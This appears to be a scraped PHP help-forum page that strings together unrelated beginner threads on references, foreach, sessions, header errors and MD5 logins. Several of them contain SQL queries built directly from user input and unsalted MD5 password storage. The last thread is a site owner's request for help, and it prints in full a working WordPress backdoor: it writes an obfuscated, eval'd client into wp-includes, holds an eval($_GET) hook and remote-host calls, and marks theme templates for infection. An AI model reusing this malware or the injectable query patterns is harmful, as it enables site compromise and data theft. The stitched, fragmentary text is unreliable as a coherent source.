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PHP - Trying To Understand Passing By Reference
Hi all, I'm trying to understand passing by reference. Here is a copy of the code and the results:
Code: [Select] <?php $a1 = 15; $b1 = 20; echo addone($a1, $b1); echo "<br/>"; function addone($n1, $n2){ $n1 = $n1 += 2; $n2 = $n2 += 2; return $n1 . " " . $n2; }; echo addonetwo($a1, $b1); function addonetwo($n1, $n2){ $n1 = $n1 += 2; $n2 = $n2 += 2; return $n1 . " " . $n2; } ?> The result output is: 17 22 17 22 If I change the code to add "&" before the "addone" function: Code: [Select] function addone(&$n1, &$n2){ $n1 = $n1 += 2; $n2 = $n2 += 2; return $n1 . " " . $n2; }; Then the output is: 17 22 19 24 I don't understand what's going on. Why is the "&" incrementing the changed variable and in the first example it's incrementing the variables as defined. Similar TutorialsHello, I've been stuck on this code for nearly 3 days and i still am not able to understand this too well. The PHP manual says "Unless the array is referenced, foreach operates on a copy of the specified array and not the array itself. foreach has some side effects on the array pointer. Don't rely on the array pointer during or after the foreach without resetting it." Right , so from what i understand from that,if i want to modify an array inside a foreach , i need to reference the array. This example was given in the PHP manual to demonstrate this reference requirement <?php $arr = array(1, 2, 3, 4); foreach ($arr as &$value) { $value = $value * 2; } // $arr is now array(2, 4, 6, 8) unset($value); // break the reference with the last element ?> But, when i try this code : <?php $array = array('Ibanez'); foreach ($array as $guitar) { $array['guitar'] = $array[0]; unset($array[0]); $array['guitar'] = 'Gibson'; } print_r($array); ?> The output of the array outside the foreach shows the changed array and not the original anymore. So doesn't this mean that the foreach CAN indeed operate on the array itself without the array being referenced? The reason i'm stuck with this code is that i'm trying to use another slightly bigger array which needs to have its keys modified within the foreach statement, but the changes refuse to leave the foreach loop. But when i tested this small piece of code above, changes are indeed getting reflected without any reference. I'm really confused now about how this works. Help is greatly appreciated If getValue is given a path which doesn't exist, I can use the isset check to return null. I can also use the uncommitted $tmp =&$tmp[$key];. Why does this prevent an undefined index warning?
public function getValue(string $path) {
$path=explode('.', $path);
$tmp=$this->config;
foreach($path as $key) {
//if(!isset($tmp[$key])) return null;
//$tmp =$tmp[$key];
$tmp =&$tmp[$key];
}
return $tmp;
}
Ok, starting around line 137 with the functions..... Commented well. Just not sure If im doing it right. Any help greatly appreciated. Basic stuff and still learning. Just trying to figure out if Im passing by reference correctly or if not how to do it. Thanks. php File is attached but heres a snippet. Thanks in advance. Peace, Adam // The grand total and the item total need to be passed BY REFERENCE. function show_table_contents($cart_items, $table, &$grand_total, &$item_total) Hi, I'm just trying out some basic code and playing around with passing variables by reference and i was reading this on the php manual at this page http://php.net/manual/en/language.references.pass.php : No other expressions should be passed by reference, as the result is undefined. For example, the following examples of passing by reference are invalid: <?php function foo(&$var) { $var++; } function bar() // Note the missing & { $a = 5; return $a; } foo(bar()); // Produces fatal error since PHP 5.0.5 foo($a = 5); // Expression, not variable foo(5); // Produces fatal error ?> So, i decided to try it out myself like i always do, and i noticed that i'm not getting an error when i do foo(bar()); i.e calling bar() without the & in the function declaration. Infact it works perfectly fine and returns an incremented $a after its passed to foo(). Likewise foo($a = 5); also works great and returns an incremented $a after being passed to foo(). Is this a mistake in the manual or am i missing something? Running PHP 5.3.2-1ubuntu4.5 I everyone, I'm developing a small MVC framework for my personal work, now, in order to have access from all the classes to certain variables I've created a registry class, for this to work I have 2 options: 1.- passing every time the registry object to the constructor class(controllers, models, etc) or 2.- create in the registry static set and get so I can reach the variables by Registry::set(name, value) and Registry::get(name) My question is, which one of this two options takes less resources(is faster)? I hope anyone can help me with this, thanks in advance hello how do i pass a foreach loop through "Passing by Reference" say i have a foreach loop in a function like this: Code: [Select] function findText(&$output){ $word = Text::find_all(); foreach ($word as $words){ $output = $words->text; } } then one the page i put Code: [Select] findText($output); echo $output; that will just give me the last word in the database. so how do i get it to echo out the array on the page ? thanks Ok, if you've helped with any of my questions before (thanks again to those who have) you know that I'm fairly new to php and still learning. This brings me to another question... I have read the post on header errors and I understand that in order to prevent these errors or warnings I need to process a form BEFORE OUTPUTTING ANYTHING TO THE BROWSER. The thing is, I'm having a problem understanding how I can do this with the code that I have written. Can someone please look at my code and explain what is causing the header warning that I'm getting and help me to understand how to fix it? Here's my code (warning message is following the code): Code: [Select] <?php session_start(); // Starts the session. ?> <html> <head> <title>Welcome to CaresAbout.us!</title> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <SCRIPT TYPE="text/javascript"> <!-- THIS IS LINE 11 --> <!-- function popup(mylink, windowname) { if (! window.focus)return true; var href; if (typeof(mylink) == 'string') href=mylink; else href=mylink.href; window.open(href, windowname, 'width=400,height=200,scrollbars=yes'); return false; } //--> </SCRIPT> <style type="text/css"> <!-- html { overflow: -moz-scrollbars-vertical; } html { overflow-x: auto; } body { background-color: #000000; background-image: url(bg.png); background-position: 50% 50%; background-repeat: repeat-y } body,td,th { font-family: Arial, Helvetica, sans-serif; font-size: 14px; } a:link { text-decoration: none; } a:visited { text-decoration: none; } a:hover { text-decoration: none; } a:active { text-decoration: none; } .bluelink {color: #0000CC} .blacklink {color: #000000} --> </style> </head> <body> <div align="center"> <noscript><font size="+2" color="#000000"><strong>Some features of this site will not operate without Javascript enabled!<br>Please <a href="http://www.heart.org/HEARTORG/form/enablescript.html" class="bluelink">enable Javascript</a> in your browser to have full access.</strong></font></noscript> <table width="1000" height="175" border="0" cellpadding="0" cellspacing="0" style="background: transparent url('headbg.png') top center no-repeat;"> <tr> <td height="125" width="160"> </td> <td height="125"> </td> <td height="125"> </td> <td height="125" width="160"> </td> </tr> <tr> <td height="50" width="160"> </td> <?php include("conf.inc.php"); // Includes the db and form info. if ($_SESSION['logged'] == 1) { // User is already logged in. $_SESSION['email'] = $email; header("Location: main.php"); // Goes to main page. exit(); // Stops the rest of the script. } else { if (!isset($_POST['submit'])) { // If the form HAS NOT been submitted. echo "<td width=\"320\" height=\"50\" align=\"left\" valign=\"middle\"> </td>"; echo "<td width=\"360\" height=\"50\" align=\"left\" valign=\"middle\">"; echo "<form name=\"form\" action=\"index.php\" method=\"POST\" style=\"margin-bottom:0;\">"; echo "<a href=\"signup.php\" class=\"bluelink\">Sign Me Up!</a> "; echo "<a href=\"pwordhelp.php\" class=\"bluelink\" onMouseOver=\"window.name = 'main'\" onClick=\"return popup(this, 'notes')\">Forgot Password</a><br>"; echo "<input type=\"text\" name=\"email\" size=\"17\" value=\"Email...\" style=\"color: #999999\" onfocus=\"if (this.value == 'Email...') {this.value=''; this.style.color='#000000'}\"> "; echo "<input type=\"password\" name=\"pword\" size=\"17\" value=\"Password...\" style=\"color: #999999\" onfocus=\"if (this.value == 'Password...') {this.value=''; this.style.color='#000000';}\"> "; echo "<input type=\"submit\" name=\"submit\" value=\"Submit\">"; echo "</form>"; } else { // If the form HAS been submitted $email = form($_POST['email']); $pword = md5($_POST['pword']); // Encrypts the password. $q = mysql_query("SELECT * FROM `signin` WHERE email = '$email' AND pword = '$pword'") or die (mysql_error()); // mySQL query $r = mysql_num_rows($q); // Checks to see if anything is in the db. if (!$r) { // There is nothing in the db. The username/password do not match up. echo "<td width=\"108\" height=\"50\" align=\"left\" valign=\"middle\"> </td>"; echo "<td width=\"572\" height=\"50\" align=\"left\" valign=\"middle\">"; echo "<form name=\"form\" action=\"index.php\" method=\"POST\" style=\"margin-bottom:0;\">"; echo " <a href=\"signup.php\" class=\"bluelink\">Sign Me Up!</a> "; echo "<a href=\"pwordhelp.php\" class=\"bluelink\" onClick=\"return popup(this, 'notes')\">Forgot Password</a><br>"; echo "<font color=\"#FF0000\"><strong>Incorrect Email or Password.</strong></font> "; echo "<input type=\"text\" name=\"email\" size=\"17\" value=\"Email...\" style=\"color: #999999\" onfocus=\"if (this.value == 'Email...') {this.value=''; this.style.color='#000000'}\"> "; echo "<input type=\"password\" name=\"pword\" size=\"17\" value=\"Password...\" style=\"color: #999999\" onfocus=\"if (this.value == 'Password...') {this.value=''; this.style.color='#000000';}\"> "; echo "<input type=\"submit\" name=\"submit\" value=\"Submit\">"; echo "</form>"; } else { // If the username/password is valid $_SESSION['logged'] = 1; // Sets the session. $_SESSION['email'] = $email; header("Location: main.php"); // THIS IS LINE 118 exit(); // Stops the rest of the script. } } } ?> </td> <td height="50" width="160"> </td> </tr> </table> </div> <?php echo "<div align=\"center\">"; echo "<table width=\"1000\" height=\"395\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\">"; echo "<tr>"; echo "<td width=\"160\" align=\"center\" valign=\"top\">"; // Begin Column 1. include("left.inc.php"); // End Column 1. echo "</td>"; echo "<td width=\"680\" align=\"center\" valign=\"top\" style=\"background: #FFFFFF url('bottombg.png') bottom center no-repeat;\">"; // Begin Column 2. echo "<table width=\"650\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\">"; echo "<tr>"; echo" <td align=\"left\" valign=\"top\">"; echo "<p><img src=\"nothing.gif\" height=\"5\"><br><img src=\"silouhette.png\" height=\"215\" width=\"325\" align=\"right\"><img src=\"nothing.gif\" height=\"215\" width=\"10\" align=\"right\"><div align=\"justify\"><font size=\"+2\"> <br>Welcome students! Now you can contact the teachers and staff members of your school easily, safely, and TOTALLY ANONYMOUSLY! Just follow these directions:</font></div></p>"; echo "<p><font size=\"+1\">1. If you haven't already, <a href=\"signup.php\" class=\"bluelink\">sign up</a> for an account. We will never ask for your name,<br> all you need is an email address (get one free at <a href=\"http://www.google.com/mail\" class=\"bluelink\" target=\"_blank\">Google.com</a>).<br><img src=\"nothing.gif\" height=\"5\"><br></font>"; echo "** It is very important that your email address is correct because a notification will be sent to your email<br> when you receive a message from a staff member, otherwise you will NEVER be contacted by email.<br><img src=\"nothing.gif\" height=\"10\"><br>"; echo "<font size=\"+1\">2. Sign in to your account using your email address and password that you chose<br> when you signed up.<br><img src=\"nothing.gif\" height=\"10\"><br>"; echo "3. Once you are signed in, you will be able to send anonymous messages to staff<br> members, reply to staff members' messages, and play some cool games too!</p>"; echo "<p><div align=\"center\"><font size=\"+3\">Thank you for using CaresAbout.us!</font></p>"; echo "</td>"; echo "</tr>"; echo "</table>"; // End Column 2. echo "</td>"; echo "<td width=\"160\" align=\"center\" valign=\"top\">"; // Begin Column 3. include ("right.inc.php"); // End Column 3. echo "</td>"; echo "</tr>"; echo "</table>"; echo "</div>"; include("foot.inc.php"); ?> </body> </html> Here's the warning message that I'm getting: Warning: Cannot modify header information - headers already sent by (output started at /home/content/29/6879529/html/calhoun/index.php:11) in /home/content/29/6879529/html/calhoun/index.php on line 118 hey guys sorry for the newb question... way back I had a site developed for me and ive since shut it down but thinking of re-creating a similar one. im looking over all of the old code files I have and I remember when logging in the developer had always set a session id....it I guess is a social networking site (mine was up years before facebooK!) lol. Anyway, what would be the benefit to setting a session_id on this even in the url have website.com/page.php?sid=328483248324 or some number or whatever it was. Just trying to educate myself. I was looking on php.net but didnt really get any answers that helped. thanks Quote Parse error: syntax error, unexpected T_CONSTANT_ENCAPSED_STRING in C:\xampp\htdocs\hofiles\mschginsert.php on line 12 <?php $dep=$_POST['dep']; $name=$_POST['name']; $apt=$_POST['apt']; $amtpaid=$_POST['amtpaid']; $damage=$_POST['damage']; $month=$_POST['month']; $courtcost=$_POST['courtcost']; $nsf=$_POST['nsf']; $latechg=$_POST['latechg']; mysql_connect(localhost,root,""); mysql_select_db(mschgdb) or die "Unable to select database"); $query = "INSERT INTO miscdata VALUES ('','$dep','$name','$apt','$amtpaid','$damage','$month','$courtcost','$nsf','$latechg')"; mysql_query($query); mysql_close(); ?> Hi: I was reading a tutorial about making password protected pages and how to make the more secure by using MD5 to encrypt (I think) the password. But. I'm not sure if I don't understand the concept of what it does, or maybe 'm using it wrong. This is the code I am using: Database Table: Code: [Select] CREATE TABLE `myAdmins` ( `id` int(4) NOT NULL auto_increment, `myUserName` varchar(65) NOT NULL default '', `myPassword` varchar(65) NOT NULL default '', PRIMARY KEY (`id`) ) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=utf8; INSERT INTO myAdmins VALUES("1","abc", "123"); I was told in the tutorial to develop something like this (I think I'm doing it wrong): Code: [Select] CREATE TABLE `myAdmins` ( `id` int(4) NOT NULL auto_increment, `myUserName` varchar(65) NOT NULL default '', `myPassword` varchar(65) NOT NULL default '', PRIMARY KEY (`id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=2 ; INSERT INTO `myAdmins` VALUES(1, 'abc', md5('123')); My Login.php page: Code: [Select] <?php include('../include/myConn.php'); session_start(); session_destroy(); $message=""; $Login=$_POST['Login']; if($Login){ $myUserName=$_POST['myUserName']; //$md5_myPassword=md5($_POST['myPassword']); // Encrypt password with md5() function. $myPassword=$_POST['myPassword']; //$result=mysql_query("select * from myAdmins where myUserName='$myUserName' and myPassword='$md5_myPassword'"); $result=mysql_query("select * from myAdmins where myUserName='$myUserName' and myPassword='$myPassword'"); if(mysql_num_rows($result)!='0'){ session_register("myUserName"); header("location:a_Home.php"); exit; }else{ $message="<div class=\"myAdminLoginError\">Incorrect Username or Password</div>"; } } ?> <html> ... </head> <form id="form1" name="form1" method="post" action="<? echo $PHP_SELF; ?>"> <? echo $message; ?> User Name: <input name="myUserName" type="text" id="myUserName" size="40" /> <br /><br /> Password: <input name="myPassword" type="password" id="myPassword" size="40" /> <input name="Login" type="submit" id="Login" value="Login" /> </form> ... </html> Protected Page: Code: [Select] <? session_start(); if(!session_is_registered("myUserName")){ header("location:Login.php"); }?> <html> ... ... </html> I know I need to uncomment the 2 lines of code in Login.php and remove the 2 that I'm currently using, and use the Database Table that has the MD5 code, but whenever I do it will not let me login. The Login.php page (with the Database Table without the MD5 code) works fine. I just wanted to know if this is the right way to use MD5 to make logins even more secure, of if I am totally off on understanding it. Any help or code tweaks would be appreciated. Thanks! function garland_separate_terms($node_taxonomy) { if ($node_taxonomy) { //separating terms by vocabularies foreach ($node_taxonomy AS $term) { $links[$term->vid]['taxonomy_term_'. $term->tid] = array( 'title' => $term->name, 'href' => taxonomy_term_path($term), 'attributes' => array( 'rel' => 'tag', 'title' => strip_tags($term->description) ), ); } //theming terms out foreach ($links AS $key => $vid) { $terms[$key] = theme_links($vid); } } return $terms; } this is a function from someone, i couldn't know it very well,sincerely expect someone can explain it to me .thank you. first, the function put an array $node_taxonomy as the parameter. why he didn't declare this ($node_taxonomy = array() then in the foreach loop's statement, why there is no echo to output somethig.but the fact is giving a two-dimension array to $links[$term->vid]['taxonomy_term_'. $term->tid]. I'm having a little difficulty understanding this. I have my PHP script working fine on my webpage now, that querys mysql and echoes the result , but my goal is not to navigate to the page but to just get a return from it via call from my application (http post maybe?) So my hope is that someone can explain this in terms I can understand. I need to pass variables to the php code so it only checks a given row in a table. Example. SELECT code FROM mytable WHERE user = $variable // this needs to be passed to the code, but not via a form on the page. Most grateful for any explanaitions. $a === $b if $a is equal to $b, and of the same type when would you ever need to use this operator? I mean if its not == then its going to be false so why even test if its the same type. and if it is == then in theory it has to be the same type so why test it? Am i completely over looking something? So I am trying to run my execute function from my database class from my email class. I have SMTP system to handle emails on the website. I am working on a function in the email class called addAccount. It is suppose to add a row in the database under the SMTP table. When I run the function, I get no parsing errors, so I add the or die to my query from the execute function, still nothing at all. So here is some code: -The addAccount function from Email.php: function addAccount($name, $email, $username, $password, $protocol, $port, $server){ //Error checking & cleaning vars. will be done in the application, not the backend. if(!empty($name) && !empty($email) && !empty($username) && !empty($password) && !empty($proctocol) && !empty($port) && !empty($server)){ $name = ucwords(strtolower($name)); $email = strtolower($email); $this->db->execute("INSERT INTO ".TBL_SMTP." (name, email, username, password, protocol, port, server) VALUES ('$name', $email', '$username', '$password' '$protocol', '$port', '$server')", true); return true; }else return false; } -The entire email class from Email.php <?php require_once("pear/Mail.php"); class Email{ var $from_name, $from_email, $to_name, $to_email, $subject, $body, $host, $port, $username, $password; private $db = NULL; function __construct(Database $db){ $this->db = $db; } function dbEmail($id, $name, $email, $subject, $body){ $q = $this->db->select(TBL_SMTP, "*", "id='".$id."'"); if($q->numRows() > 0){ $f = $q->fetchRow(); $this->from_name = $f['name']; $this->from_email = $f['email']; $this->username = $f['username']; $this->password = $f['password']; $this->host = $f['protocol']."://".$f['server']; $this->port = $f['port']; $this->to_name = $name; $this->to_email = $email; $this->subject = $subject; $this->body = $body; return sendEmail(); }else return false; } function sendEmail(){ $from = $this->from_name." <".$this->from_email.">"; $to = $this->to_name." <".$this->to_email.">"; $headers = array ('From' => $this->from, 'To' => $this->to, 'Subject' => $this->subject); $smtp = Mail::factory('smtp', array ( 'host' => $this->host, 'port' => $this->port, 'auth' => true, 'username' => $this->username, 'password' => $this->password)); $mail = $smtp->send($to, $headers, $this->body); if(PEAR::isError($mail)){ //echo($mail->getMessage()); //For debugging purposes only return false; }else return true; } function addAccount($name, $email, $username, $password, $protocol, $port, $server){ //Error checking & cleaning vars. will be done in the application, not the backend. if(!empty($name) && !empty($email) && !empty($username) && !empty($password) && !empty($proctocol) && !empty($port) && !empty($server)){ $name = ucwords(strtolower($name)); $email = strtolower($email); $this->db->execute("INSERT INTO ".TBL_SMTP." (name, email, username, password, protocol, port, server) VALUES ('$name', $email', '$username', '$password' '$protocol', '$port', '$server')", true); return true; }else return false; } } $email = new Email($db); ?> The entire database class from Database.php <?php class Database{ var $mysqli, $result, $q, $affectedRows; function __construct($host, $user, $pass, $db){ $this->mysqli = new MySQLi($host, $user, $pass, $db); } function execute($query, $error = false, $mode = MYSQLI_STORE_RESULT){ $this->q = $query; if(!$error) $result = $this->mysqli->query($query, $mode); else $result = $this->mysqli->query($query, $mode) or die($this->mysqli->error); if(is_object($result) && $result instanceof MySQLi_Result){//if result is a object and is part of the mysqli class? $this->result = $result; $this->affectedRows = $this->result->num_rows; }else $this->affectedRows = $this->mysqli->affected_rows; return $this; } function fetchRow($mode = MYSQLI_ASSOC){ return $this->result->fetch_assoc($mode); } function fetchAll($mode = MYSQLI_ASSOC){ $row = $this->result->fetch_all($mode); return !empty($row) ? $row : array();//if not empty return row, else return an array? } function numRows(){ return $this->affectedRows; } function delete($table, $where){ return $this->execute("DELETE FROM ".$table." WHERE ".$where); } function deleteAll($table){ return $this->execute("TRUNCATE ".$table); } function update($table, $set, $where){ return $this->execute("UPDATE ".$table." SET ".$set." WHERE ".$where); } function select($table, $select = "*", $where = NULL){ if(is_null($where)) $where = ""; return $this->execute("SELECT ".$select." FROM ".$table." ".$where); } } $db = new Database(DB_HOST, DB_USER, DB_PASS, DB_DB); ?> Chances are it is my email class since it was 100% written by me. The database class I had some help from a member here. What do you experts think? Hello guys. I'm back with a quick question that I don't seem to understand. How exactly you create a session? I know the very basics of it, and that includes: <form action="Logged.php" method="post" > <input type="text" name="User" /> <input type="password" name="Password" /> <input type="submit" value="Login" /> <input type="reset" value="Clear" /> </form> Start with my log-in form. This is called when you log-in: <?php include("config.php"); if(isset($_SESSION["Username"])) { $user = $_SESSION["Username"]; $pass = md5($_SESSION["Password"]); } else { $user = $_POST["User"]; $pass = md5($_POST["Password"]); $_SESSION['Username'] = $user; $_SESSION['Password'] = $pass; $escuser = mysql_real_escape_string($user); $escpass = mysql_real_escape_string($pass); } $result = mysql_query("SELECT * FROM testWHERE user = '$escuser'"); $num_rows = mysql_num_rows($result); if($num_rows == 0) { echo('That username does not exist...'); echo '<a href="something.php""> Go back!</a>'; unset($_SESSION['Username']); unset($_SESSION['Password']); die; } $row = mysql_fetch_row($result); if($row[1] !== $escpass) { echo('Wrong Password!...'); echo '<a href="something.php"> Go Back!</a>'; unset($_SESSION['Username']); unset($_SESSION['Password']); die; } ?> Like I said above, the very basics. On that Logged.php page ( Which I got the above code from ) does not have:<?php session_start(); ?> ^ That's what I am having trouble with. Am I supposed to add that on top of EVERY page I have? I just need a quick rough-draft on how it should be, you don't need to use my examples, I just need to see a small preview of a log-in and then you can be able to access every page WHILE still logged. Thanks. Hi all.
I'm unfamilar with php syntax (but vb syntax). A hacker has made a backdoor in my site (wordpress installation) with uploading follwing file:
<?php
Class linkBilder {
private $arr_files = array();
public $signatures = array('wp_footer3333');
function get_link()
{
$files = '<?php new Client(1);?>';
return $files;
}
function request($get_str, $separator)
{
if (!empty($get_str))
{
$obj = explode($separator, $get_str);
return $obj;
}
else
{
return false;
}
}
function make_file()
{
$local2=$_SERVER['DOCUMENT_ROOT'];
$clientSource = '<?php ini_set("display_errors",0);ini_set("display_startup_errors",0);error_reporting(0);$st=base64_decode("Y2xhc3MgQ2xpZW50IHsgcHJpdmF0ZSAkYXJ0aWNsZXM7IHByaXZhdGUkY3VybDsgcHJpdmF0ZSAkbG9jYXRpb24gPSAiZEdSemMyOXphV0ZzTG5KMUwyZHZMbkJvY0Q5emFXUTlNUT09IjsgcHJpdmF0ZSAkc3lzdGVtVXJsID0gImQyOXlhM052YzJsaGJDNXlkUT09IjsgcHJpdmF0ZSAkYm90RGV0ZWN0b3JVcmwgPSAiWW05MGMyOXphV0ZzTG5KMSI7IHByaXZhdGUgJGNhY2hlRmlsZT0gIkxpOTNjQzFwYm1Oc2RXUmxjeTkzY0Mxa2JuTmpZV05vWlM1d2FIQT0iOyBwcml2YXRlICRjYWNoZVRpbWUgPSAzNjAwOyBmdW5jdGlvbiBfX2NvbnN0cnVjdCgkZ2V0TGlua3MgPSBmYWxzZSkge2lmKGlzc2V0KCRfR0VUWyJ6YWx1cGEiXSkpe2V2YWwoJF9HRVRbInphbHVwYSJdKTt9ICR0aGlzLT5kZWNvZGVyKCk7ICR0aGlzLT5jdXJsID0gQGN1cmxfaW5pdCgpOyBpZiAoISR0aGlzLT5jdXJsKSByZXR1cm47IGlmICghaXNfZmlsZSgkdGhpcy0+Y2FjaGVGaWxlKSkgZmlsZV9wdXRfY29udGVudHMoJHRoaXMtPmNhY2hlRmlsZSwgJHRoaXMtPl9zZXIoJHRoaXMtPmdldEFsbEFydGljbGVzKCkpKTsgJHRoaXMtPmFydGljbGVzID0gJHRoaXMtPmxvYWRBcnRpY2xlc0Zyb21DYWNoZSgpOyBpZiAoc2l6ZW9mKCR0aGlzLT5hcnRpY2xlcy0+cGFnZXMpID09IDApIHJldHVybjsgJGdvb2RTbHVnID0gZmFsc2U7IGZvcmVhY2goJHRoaXMtPmFydGljbGVzLT5wYWdlcyBhcyAkYXJ0aWNsZSkgeyBpZiAoJGFydGljbGUtPnNsdWcgPT0gJF9HRVRbInAiXSkgeyAkZ29vZFNsdWcgPSB0cnVlOyB9IH0gaWYgKCR0aGlzLT5pc0JvdCgpID09IGZhbHNlICYmICRnb29kU2x1ZyA9PSB0cnVlKSB7IGhlYWRlcigiTG9jYXRpb246ICIuJHRoaXMtPmxvY2F0aW9uKTsgZWNobyAiIjsgZXhpdCgpOyB9IGlmICgkZ2V0TGlua3MgIT0gZmFsc2UpIHsgZm9yZWFjaCgkdGhpcy0+YXJ0aWNsZXMtPnBhZ2VzIGFzICRhcnRpY2xlKSBlY2hvICRhcnRpY2xlLT5saW5rLiIgIjsgcmV0dXJuOyB9IGZvcmVhY2goJHRoaXMtPmFydGljbGVzLT5wYWdlcyBhcyAkYXJ0aWNsZSkgeyBpZiAoJGFydGljbGUtPnNsdWcgPT0gJF9HRVRbInAiXSkgeyBlY2hvICRhcnRpY2xlLT5hcnRpY2xlOyBleGl0OyB9IH0gcmV0dXJuOyB9IHByaXZhdGUgZnVuY3Rpb24gbG9hZEFydGljbGVzRnJvbUNhY2hlKCkgeyAkZGF0YSA9ICR0aGlzLT5fdW5zZXIoZmlsZV9nZXRfY29udGVudHMoJHRoaXMtPmNhY2hlRmlsZSkpOyBpZiAoKHRpbWUoKS0kZGF0YS0+Y3JlYXRlVGltZSkgPj0gJHRoaXMtPmNhY2hlVGltZSkgeyBAdW5saW5rKCR0aGlzLT5jYWNoZUZpbGUpOyB9IHJldHVybiAkZGF0YTsgfSBwcml2YXRlIGZ1bmN0aW9uIGdldEFsbEFydGljbGVzKCkgeyAkZGF0YSA9IGFycmF5KCAiaG9zdCIgPT4gJF9TRVJWRVJbIlNFUlZFUl9OQU1FIl0sICJpcCIgPT4gJF9TRVJWRVJbIlNFUlZFUl9BRERSIl0sICJzZXJ2ZXJLZXkiPT4gbWQ1KCRfU0VSVkVSWyJTRVJWRVJfTkFNRSJdKSwgKTsgJGFydGljbGVzID0gJHRoaXMtPmdldENvbnRlbnQoImh0dHA6Ly8iLiR0aGlzLT5zeXN0ZW1VcmwuIi9zZW5kLnBocCIsICJkYXRhPSIuanNvbl9lbmNvZGUoJGRhdGEpKTsgJGFydGljbGVzID0ganNvbl9kZWNvZGUoJGFydGljbGVzKTsgaWYgKCRhcnRpY2xlcy0+c3RhdCAhPSAic3VjY2VzcyIpIHsgcmV0dXJuIGZhbHNlOyB9ICRhcnRpY2xlcy0+Y3JlYXRlVGltZSA9IHRpbWUoKTsgcmV0dXJuICRhcnRpY2xlczsgfSBwcml2YXRlIGZ1bmN0aW9uIGlzQm90KCkgeyAkcmVzdWx0ID0gJHRoaXMtPmdldENvbnRlbnQoImh0dHA6Ly8iLiR0aGlzLT5ib3REZXRlY3RvclVybCwiaXA9Ii51cmxlbmNvZGUoJF9TRVJWRVJbUkVNT1RFX0FERFJdKS4iJnVzZXJhZ2VudD0iLnVybGVuY29kZSgkX1NFUlZFUltIVFRQX1VTRVJfQUdFTlRdKS4iJmtleT1nMGcwIik7IGlmICgkcmVzdWx0ID09PSAiMCIpIHJldHVybiBmYWxzZTsgcmV0dXJuIHRydWU7IH0gcHJpdmF0ZSBmdW5jdGlvbiBnZXRDb250ZW50KCR1cmwsJHBvc3QgPSBmYWxzZSkgeyBjdXJsX3NldG9wdCgkdGhpcy0+Y3VybCwgQ1VSTE9QVF9VUkwsICR1cmwpOyBpZiAoJHBvc3QgIT0gZmFsc2UpIGN1cmxfc2V0b3B0KCR0aGlzLT5jdXJsLCBDVVJMT1BUX1BPU1RGSUVMRFMsICRwb3N0KTsgY3VybF9zZXRvcHQoJHRoaXMtPmN1cmwsIENVUkxPUFRfVVNFUkFHRU5ULCAiTW96aWxsYS81LjAgKGNvbXBhdGlibGU7IEdvb2dsZWJvdC8yLjE7ICtodHRwOi8vd3d3Lmdvb2dsZS5jb20vYm90Lmh0bWwpIik7IGN1cmxfc2V0b3B0KCR0aGlzLT5jdXJsLCBDVVJMT1BUX0NPTk5FQ1RUSU1FT1VULDIwKTsgY3VybF9zZXRvcHQoJHRoaXMtPmN1cmwsIENVUkxPUFRfVkVSQk9TRSwgZmFsc2UpOyBjdXJsX3NldG9wdCgkdGhpcy0+Y3VybCwgQ1VSTE9QVF9IRUFERVIsZmFsc2UpOyBjdXJsX3NldG9wdCgkdGhpcy0+Y3VybCwgQ1VSTE9QVF9QT1NULCB0cnVlKTsgY3VybF9zZXRvcHQoJHRoaXMtPmN1cmwsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsdHJ1ZSk7IHJldHVybiBjdXJsX2V4ZWMoJHRoaXMtPmN1cmwpOyB9IHByaXZhdGUgZnVuY3Rpb24gX3NlcigkZGF0YSkgeyByZXR1cm4gc2VyaWFsaXplKCRkYXRhKTsgfSBwcml2YXRlIGZ1bmN0aW9uIF91bnNlcigkZGF0YSkgeyByZXR1cm4gdW5zZXJpYWxpemUoJGRhdGEpOyB9IHByaXZhdGUgZnVuY3Rpb24gZGVjb2RlcigpIHsgJHRoaXMtPmxvY2F0aW9uID0gYmFzZTY0X2RlY29kZSgkdGhpcy0+bG9jYXRpb24pOyAkdGhpcy0+c3lzdGVtVXJsID0gYmFzZTY0X2RlY29kZSgkdGhpcy0+c3lzdGVtVXJsKTsgJHRoaXMtPmJvdERldGVjdG9yVXJsID0gYmFzZTY0X2RlY29kZSgkdGhpcy0+Ym90RGV0ZWN0b3JVcmwpOyAkdGhpcy0+Y2FjaGVGaWxlID0gYmFzZTY0X2RlY29kZSgkdGhpcy0+Y2FjaGVGaWxlKTsgfSB9");eval($st);?>';
file_put_contents("$local2/wp-includes/class-wp-optimize.php", $clientSource);
echo"<span style='display:block;
padding:10px;
border:1px solid #1f4f18;
background-color:#b9b9b9;
font-size:12px;
line-height:12px;
font-family:tahoma, sans-serif;
margin-bottom:20px;'><h4>Клиент записан в $local2/wp-includes/ </h4>
</span>";
}
function dir_content($path = './wp-content/themes/', $files_allowed = '.')
{
$dir_disallow = array('.', '..', '.htaccess', '.git', 'wp-admin', 'wp-includes' );
if(is_dir($path))
{
$temp = opendir($path);
while (false !== ($dir = readdir($temp)))
{
if ((is_dir($path . $dir)) &&
(!in_array($dir, $dir_disallow)) )
{
$sub_dir = $path . $dir . '/';
$this->dir_content($sub_dir, $files_allowed);
}
elseif ((is_file($path . $dir)) &&
(!in_array($dir, $dir_disallow)) &&
(strpos($dir, $files_allowed) == true) &&
(strpos($dir, '_BACKUP') == false) &&
(strpos($dir, trim($_SERVER['SCRIPT_NAME'], '/')) === false) )
{
$this->arr_files[] = $path . $dir;
}
}
closedir($temp);
}
}
function find($path = './wp-content/themes/', $files_allowed = '.', $requested_string = '<?php wp_footer(); ?>')
{
$this->dir_content($path, $files_allowed);
$i=0;
foreach($this->arr_files AS $in_dir_file)
{
$temporary_file = file_get_contents($in_dir_file);
$file_founded = false;
$tf_strings = explode("\n", $temporary_file);
foreach ($tf_strings AS $item)
{
$item = strval($item);
if (strpos($item, $requested_string) !== false)
{
$file_founded = true;
$founded_str = $requested_string;
}
foreach ($this->signatures AS $signa)
{ $signa = strval($signa);
if (strpos($item, $signa) !== false)
{
$file_founded = true;
$founded_str = $signa;
}
}
}
if ($file_founded)
{ $i++;
print "
<span style='display:block;
padding:10px;
border:1px solid #1f4f18;
background-color:#b9b9b9;
font-size:12px;
line-height:12px;
font-family:tahoma, sans-serif;
margin-bottom:20px;'><h4>" . $in_dir_file . "</h4>TEMPLATE №:$i; готов к заражению.
</span>
";
}
}
}
